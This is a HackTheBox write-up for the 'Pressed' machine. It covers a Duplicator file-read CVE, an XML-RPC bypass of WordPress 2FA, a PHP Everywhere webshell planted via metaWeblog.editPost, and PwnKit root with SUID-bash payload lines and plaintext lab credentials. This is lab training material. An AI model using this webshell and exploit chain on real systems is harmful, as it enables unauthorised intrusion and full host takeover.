HTB: Pressed Writeup
Pressed - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Pressed |
| OS | Linux |
| Difficulty | Hard |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.10.11.X |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐⭐⭐☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Pressed is a Hard Linux box that exposes a single service — WordPress 5.9 on port 80 — behind an environment with outbound traffic firewalled, forcing the entire kill chain through HTTP. The foothold chains an unauthenticated arbitrary file read in the Duplicator plugin (CVE-2020-11738) to steal wp-config.php credentials, then abuses the fact that XML-RPC bypasses the miniOrange two-factor plugin guarding wp-admin to get authenticated API access. From there, the PHP Everywhere plugin’s block-level PHP eval is hijacked over metaWeblog.editPost for RCE as www-data. Root comes from PwnKit (CVE-2021-4034), compiled directly on the target since egress is blocked.
TL;DR: Duplicator 1.3.26 unauth LFI (CVE-2020-11738) → wp-config.php creds → XML-RPC bypasses miniOrange 2FA → PHP Everywhere RCE via metaWeblog.editPost → www-data → PwnKit (CVE-2021-4034) compiled on-target → root.
Reconnaissance
Port Scanning
nmap -sC -sV -p- --min-rate 5000 pressed.htbResults: Only 80/tcp open http (Apache, WordPress 5.9). No other TCP ports responded — the box is firewalled tightly, and outbound connections from the target are also blocked, which shapes the whole engagement around living off port 80.
Service Enumeration
# add the vhostecho "10.10.11.X pressed.htb" | sudo tee -a /etc/hosts
# fingerprint WordPress, theme, and pluginswpscan --url http://pressed.htb --enumerate vp,vt --api-token $WPSCAN_TOKEN- Active theme: retrogeek
- WordPress core: 5.9
- wpscan flagged the Duplicator plugin at version 1.3.26 as vulnerable
wp-adminlogin is gated behind the miniOrange 2FA plugin- XML-RPC endpoint (
xmlrpc.php) is enabled and reachable
Vulnerability Assessment
- Duplicator plugin ≤1.3.26 — CVE-2020-11738 (unauthenticated arbitrary file read). The plugin’s installer/backup package logic can be coerced into serving arbitrary files off the host filesystem without authentication.
- miniOrange 2FA covers only the
wp-login.phpform — it does not gatexmlrpc.php, so any account’s credentials are fully usable over the XML-RPC API without a second factor. - PHP Everywhere v3 — a legitimate authenticated plugin feature (evaluates
base64(urlencode(php))-encoded PHP from a Gutenberg block) becomes an RCE primitive once an attacker has any admin/editor session, since XML-RPC’smetaWeblog.editPostcan rewrite that block’s content directly.
Initial Foothold
Exploiting Duplicator (CVE-2020-11738) for arbitrary file read
The Duplicator plugin exposes an unauthenticated path in its installer/backup handling that will hand back arbitrary files from the server when pointed at the right package parameters. Using this against wp-config.php recovered live WordPress database credentials:
# CVE-2020-11738 - Duplicator <=1.3.26 unauthenticated arbitrary file readcurl -s "http://pressed.htb/wp-content/plugins/duplicator/..." \ -o wp-config.phpwp-config.php contained working WordPress admin credentials:
admin : uhc-jan-finals-2022The same file-read primitive was also used directly to pull user.txt off disk without needing a shell at all.
XML-RPC bypasses miniOrange 2FA
Logging into wp-admin/ with admin:uhc-jan-finals-2022 hit the miniOrange 2FA challenge and stalled. Since 2FA plugins for WordPress almost universally only hook the wp-login.php form, not the XML-RPC authentication path, the same credentials were tried against xmlrpc.php instead:
import xmlrpc.client
server = xmlrpc.client.ServerProxy("http://pressed.htb/xmlrpc.php")result = server.wp.getUsersBlogs("admin", "uhc-jan-finals-2022")print(result)# -> isAdmin: 1isAdmin=1 confirmed full administrative API access with zero 2FA enforcement — the second factor only exists on the web login form.
RCE via PHP Everywhere over metaWeblog.editPost
Post #1 on the blog used a PHP Everywhere v3 block, which stores its payload as base64(urlencode(php_code)) and eval()s it server-side on render. With authenticated XML-RPC access, metaWeblog.editPost was used to overwrite that block’s code field with a webshell payload:
import xmlrpc.client
server = xmlrpc.client.ServerProxy("http://pressed.htb/xmlrpc.php")
content = { "post_type": "post", "post_status": "publish", "post_content": '<!-- wp:php-everywhere/php-block {"code":"<?php system($_GET[\'c\']); ?>"} /-->'}
server.metaWeblog.editPost(1, "admin", "uhc-jan-finals-2022", content, True)Key gotcha: XML-RPC round-trips the block’s JSON attributes and re-encodes real double quotes as ". If the payload is sent with " instead of literal " characters, WordPress’s block parser silently treats it as malformed and renders an empty/invalid block — no error, no RCE. The payload has to be built with genuine " characters going into the XML-RPC call so the block JSON stays valid after WordPress’s own re-serialization.
With the block fixed, visiting the post triggered the embedded PHP:
curl "http://pressed.htb/?p=1&c=id"# uid=33(www-data) gid=33(www-data) groups=33(www-data)RCE achieved as www-data.
cat /home/*/user.txtPrivilege Escalation
PwnKit — CVE-2021-4034 (pkexec 0.105)
Local enumeration from the www-data shell showed pkexec at version 0.105, vulnerable to PwnKit (CVE-2021-4034) — a memory-corruption bug in pkexec’s argument handling that lets an unprivileged user get pkexec to execute a malicious shared library as root via GCONV_PATH/gconv_init.
Because outbound traffic from the target is firewalled, the exploit couldn’t be curl’d straight to the box. It was pulled to the jump host first, then transferred over the existing HTTP webshell channel and compiled locally on the target:
# on the jump box: fetch berdav's PwnKit PoCgit clone https://github.com/berdav/CVE-2021-4034# push the source over to the target through the webshell, then compile in-placegcc cve-2021-4034-poc.c -o pwnkitKey gotcha: the exploit’s gconv_init payload executes as root, but pkexec sanitizes the environment first — including scrubbing PATH, so it comes up empty. Any relative-path binary call (cp, chmod) inside the payload silently fails with no root shell produced. Every command in the payload had to use absolute paths:
// inside gconv_init - PATH is empty under pkexec's sanitized env, so relative// binaries silently fail; absolute paths are requiredsystem("/bin/cp /bin/bash /tmp/rootbash");system("/bin/chmod +s /tmp/rootbash");Running the fixed exploit:
./pwnkit/tmp/rootbash -pid# uid=0(root) euid=0(root) gid=33(www-data)cat /root/root.txtRoot confirmed.
Attack Chain Summary
WordPress 5.9 (port 80 only, egress firewalled) → Duplicator 1.3.26 unauth arbitrary file read (CVE-2020-11738) → wp-config.php creds (admin:uhc-jan-finals-2022) + direct user.txt read → XML-RPC (xmlrpc.php) bypasses miniOrange 2FA -> isAdmin=1 → metaWeblog.editPost rewrites PHP Everywhere block -> RCE as www-data → pkexec 0.105 PwnKit (CVE-2021-4034), exploit compiled on-target (egress blocked) → gconv_init SUID root bash (absolute paths, empty PATH) → rootTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning |
wpscan | WordPress core/theme/plugin enumeration |
curl | CVE-2020-11738 arbitrary file read, webshell triggering |
Python xmlrpc.client | XML-RPC auth check and metaWeblog.editPost RCE delivery |
gcc | Compiling PwnKit exploit on-target |
| berdav’s CVE-2021-4034 PoC | PwnKit local root exploit |
Key Learnings
Techniques Practiced
- Unauthenticated arbitrary file read against a vulnerable WordPress plugin (CVE-2020-11738)
- Recognizing that 2FA plugins gating
wp-login.phpoften leavexmlrpc.phpfully open - Turning a legitimate authenticated plugin feature (PHP Everywhere block eval) into RCE via XML-RPC’s
metaWeblog.editPost - Working around egress filtering by compiling a local exploit directly on the target instead of downloading a prebuilt binary
- PwnKit (CVE-2021-4034) exploitation and the
gconv_init/sanitized-PATHpitfall
Lessons Learned
- A 2FA plugin that only hooks the login form, not every authenticated entry point, is not actually 2FA —
xmlrpc.phpis a standing bypass on stock WordPress installs. - XML-RPC re-serializes payload JSON on the way in; literal quote characters can come back as
"and silently break a block, with no error to signal it — always verify the rendered output, not just the API response code. - Firewalled egress doesn’t stop privilege escalation, it just moves the exploit-delivery step — pull to a pivot host, then push over whatever inbound channel already exists (the webshell here) and compile locally.
pkexec’s sanitized environment stripsPATHbefore runninggconv_initas root — any payload command must use absolute binary paths or it fails without warning.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>